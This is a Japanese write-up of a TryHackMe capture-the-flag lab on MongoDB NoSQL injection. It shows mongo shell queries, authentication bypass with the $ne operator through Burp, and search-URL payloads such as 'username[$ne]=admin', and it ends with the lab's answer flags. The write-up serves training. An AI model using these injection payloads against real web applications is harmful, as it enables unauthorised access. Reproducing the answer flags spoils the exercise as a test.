【TryHackMe】Advent of Cyber3 (2021)を続けてみた Day7

# Welcome to Advent of Cyber 2021
クリスマスまでの25日間、毎日基本的な知識を学び、初心者向けの新しいセキュリティ演習を行うことで、サイバーセキュリティを始めることができます。

https://tryhackme.com/room/adventofcyber3

# day7
今回は、NoSQLに関してです。
##### NoSQLとは
NoSQLデータベースは、高速なクエリ、開発者にとっての使いやすさ、容易なスケール、柔軟なデータ構造といった強力な機能を備えているため、最近ではビッグデータやIoTデバイスによく使われています。
NoSQLデータベースには、MongoDB、Couchbase、RavenDBなど、さまざまなタイプのものが対象となります。しかし、このタスクでは、無料で人気のあるドキュメントストア型NoSQLデータベースであるMongoDBデータベースに焦点を当てます。
リレーショナルデータベース（MySQLやMSSQLなど）と同様に、MongoDBはデータベース、テーブル、フィールドで構成されていますが、以下のように名前が異なります。

- Collections : MySQLやMSSQLのテーブルやビューに似ています。
- Documents : MySQLやMSSQLの行やレコードに似ています。
- Fields : MySQLやMSSQLのカラムに似ています。



対象へssh接続する。`thm:tryhackme`

```
┌──(kali㉿kali)-[~]
└─$ ssh thm@10.10.158.73 -p 2222
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-1059-aws x86_64)
...(略)
thm@mongo-server:~$
```

Mongoデータベースに接続します。

```
thm@mongo-server:~$ mongo
MongoDB shell version v5.0.3
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c98de9c0-c849-46ce-873a-d03a7e1685f8") }
MongoDB server version: 5.0.3
================
...(略)
        To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
>
```

`show databases`コマンドを使用し、すべてのデータベースを表示します。

```
> show databases
admin   0.000GB
config  0.000GB
flagdb  0.000GB
local   0.000GB
```

`flagdb`が怪しい。。データベースに接続する場合は、`use`コマンドを使用します。
`flagColl`というcollectionsが見つかった。

```
> use flagdb
switched to db flagdb
> show collections
flagColl
```

ここにアクセスする。flagを発見。

```
> db.flagColl.find()
{ "_id" : ObjectId("618806af0afbc09bdf42bd6a"), "flag" : "THM{8814a5e6662a9763f7df23ee59d944f9}" }
```

続いて、`http://10.10.158.73/login`へアクセス。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/e441a89a-5298-7f21-0796-c57628dc06ec.png)
NoSQLインジェクションを利用する前に、インジェクションで多用されるMongoDBの演算子について知っておく必要があります。

```
$eq - 特定の値に等しいレコードにマッチします。
$ne - 特定の値に一致しないレコードにマッチします。
$gt - 特定の値よりも大きいレコードにマッチします。
$where - Javascriptの条件に基づいてレコードにマッチします
$exists - 特定のフィールドを持つレコードにマッチします。
$regex - 特定の正規表現を満たすレコードにマッチします。
```

使用例としては次のようになります。
例1）`username`=`admin`で、全`role`を表示
`http://example.thm.labs/search?username=admin&role[$ne]=user`
例2）全`username`で、`role`=`user`を表示
`http://example.thm.labs/search?username[$ne]=admin&role=user`

さて、この知識を基にBurpにて管理者ログインの試行します。
`http://10.10.158.73/login`

`username`=`admin`の`password`が分からないので`$ne`を使用します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/0b359526-ec95-65ea-fffd-6acd6f66b053.png)
ログイン成功。`Flag!`を発見。
(`Flag: THM{b6b304f5d5834a4d089b570840b467a8}`)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/4661836a-c9e4-30c0-d316-720f878d1c35.png)
次に、`Search`にてユーザーを検索する。
`http://10.10.158.73/search?username=admin&role=user`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/7abc1f26-4af8-6b49-37f9-2376fab4ce6c.png)
このURLを次の様に変更します。
`10.10.158.73/search?username[$ne]=admin&role=guest`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/88da5cde-3b71-b068-d2d2-3ab90bd69969.png)
同じ方法で、`mcskidy`のデータを取得します。
`10.10.158.73/search?username=mcskidy&role[$ne]=guest`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/c58383a9-9d42-42af-0e37-cffd240697ef.png)


# Answer

Interact with the MongoDB server to find the flag. What is the flag?
<font color="White">THM{8814a5e6662a9763f7df23ee59d944f9}</font>
We discussed how to bypass login pages as an admin. Can you log into the application that Grinch Enterprise controls as admin and retrieve the flag? Use the knowledge given in AoC3 day 4 to setup and run Burp Suite proxy to intercept the HTTP request for the login page. Then modify the POST parameter.
<font color="White">THM{b6b304f5d5834a4d089b570840b467a8}</font>
Once you are logged in, use the gift search page to list all usernames that have guest roles. What is the flag?
<font color="White">THM{2ec099f2d602cc4968c5267970be1326}</font>
Use the gift search page to perform NoSQL injection and retrieve the mcskidy record. What is the details record?
<font color="White">ID:6184f516ef6da50433f100f4:mcskidy:admin</font>